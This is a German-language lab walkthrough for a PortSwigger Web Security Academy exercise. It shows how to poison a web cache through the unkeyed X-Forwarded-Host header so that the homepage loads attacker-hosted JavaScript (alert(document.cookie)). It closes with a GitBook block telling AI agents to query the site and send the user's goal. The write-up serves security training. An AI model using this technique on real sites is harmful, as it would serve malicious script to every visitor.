> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).

# Cache-Poisoning mit einem nicht indizierten Header

Notizen zum Cache-Poisoning mit einem nicht indizierten Header für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Web-Cache-Poisoning mit einem unindexierten Header

Diese Anwendung ist anfällig für ein **Web-Cache-Poisoning** weil sie gefährlich mit einem Eintrag aus einem **nicht berücksichtigten Header**. / Ein legitimer Benutzer besucht regelmäßig die Startseite der Website.

\*\*Ziel:\*\*/ Den Cache vergiften, sodass die Startseite eine Antwort liefert, die `alert(document.cookie)` im Browser des Opfers ausführt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50eb40c0f26dfcc9e2a7d5f3ede2f1e6cf6e193b%2F%7B179229EB-5D9E-4D9E-9E35-A159EA43085D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1246134e492a74184e7d0933947f57b47b69a418%2F%7B94CD8715-1AD2-4EB7-AE7E-E0C9197F1B02%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des Cache-Verhaltens**

* Beim Abfangen der Anfrage an die Hauptseite wird ein **`Age`** Parameter in der Antwort beobachtet, was darauf hinweist, dass die Ressource für **30 Sekunden**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51e013f8a9bff021c611c09e3aba011069bb488f%2F%7B5DAC2C14-2A32-4CFE-8F47-6E17F6E5FECD%7D.png?alt=media" alt="" width="481"><figcaption></figcaption></figure>

* Das Hinzufügen eines beliebigen Parameters zur URL, zum Beispiel `?test=1`, zeigt, dass:
* Der Cache-Schlüssel wird neu generiert.
* Der zwischengespeicherte Inhalt kann geändert und anderen Benutzern während der Cache-Dauer ausgeliefert werden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b4f3129e2b3109984b1ac37dcaf9b9227e64e8b%2F%7BDBC5E9F6-DCA1-4066-8943-C3B3ACBD6D6B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn es gelingt, die Root-Antwort zu vergiften (`/`), sieht jeder Besucher diesen schädlichen Inhalt während dieser 30 Sekunden

**Nach ausnutzbaren Headern suchen**

* Verwendung von **Param Miner** in Burp Suite:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad226c0c8646b5d405526a186b1ba38af28038f7%2F%7BC15DCB8F-20F5-4081-B4B2-2C2F88B30A2D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Da der **Repeater**, wird die Funktion **Header erraten** verwendet.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-340e57e83f64f71c40e9747721f485d730a36e2e%2F%7BB56C9431-84E0-4335-978B-95908B200558%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1141358c26e17d2ca6fec568a41ae3a39900516e%2F%7B84E094DC-FDF5-4026-A9C8-1FB27790F06D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Die Erweiterung erkennt ein Poisoning-Verhalten des headergebundenen Caches **`X-Forwarded-Host`**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-371e9b7bbd868c090ae55b3c68af0f02358be8db%2Fimage%20(245).png?alt=media" alt=""><figcaption></figcaption></figure>

**Operation mit unindexiertem Header**

* Der Anfrage wird der folgende Header hinzugefügt:

```http
X-Forwarded-Host: test.com
```

* Die Antwort enthält dann das Laden einer JavaScript-Ressource von dieser Domain.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bac1ec4fba20168496038a7c26134ee819e04af%2F%7B25847D5E-3B24-4BEF-8549-7390163BBDD4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Beim Neuladen versucht die Anwendung immer, dieses Skript abzurufen, was bestätigt, dass die Antwort zwischengespeichert ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e5b1537966fc4be8c981a2e9f6e00cbb2a5e965%2Fimage%20(246).png?alt=media" alt=""><figcaption></figcaption></figure>

**Weiterleitung an den Exploit-Server**

* Der Header-Wert wird durch den **Server-Domain**:

```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```

Die Anwendung versucht dann, die folgende Ressource zu laden:

**Schädliche Payload-Injektion**

* Auf dem Exploit-Server erstellen Sie die Datei:

```javascript
/resources/js/tracking.js
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-785eb9a83861e50f3e9ef2732a8811a072a4dada%2F%7B34CE6099-2EAE-4767-A58C-6CAE0DCC8D77%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dateiinhalt:

```javascript
alert(document.cookie)
```

* Dieses Skript ist nun in der zwischengespeicherten Antwort enthalten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb5902cf86b64a56ae7a3ac3eb4e0917eac6c4e%2F%7B679B2E9B-86AD-486E-9DFD-E24382708011%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Ergebnis**

* Wenn ein Benutzer die Startseite während der Gültigkeitsdauer des Caches besucht:
* Der Browser lädt das vergiftete Skript.
* Es erscheint ein Dialogfeld mit `document.cookie`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87048244cd53151479258da4ca89ebfaa0ab3266%2F%7B6D7693AA-3695-46B7-B5D2-5FDD2B4B5DE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
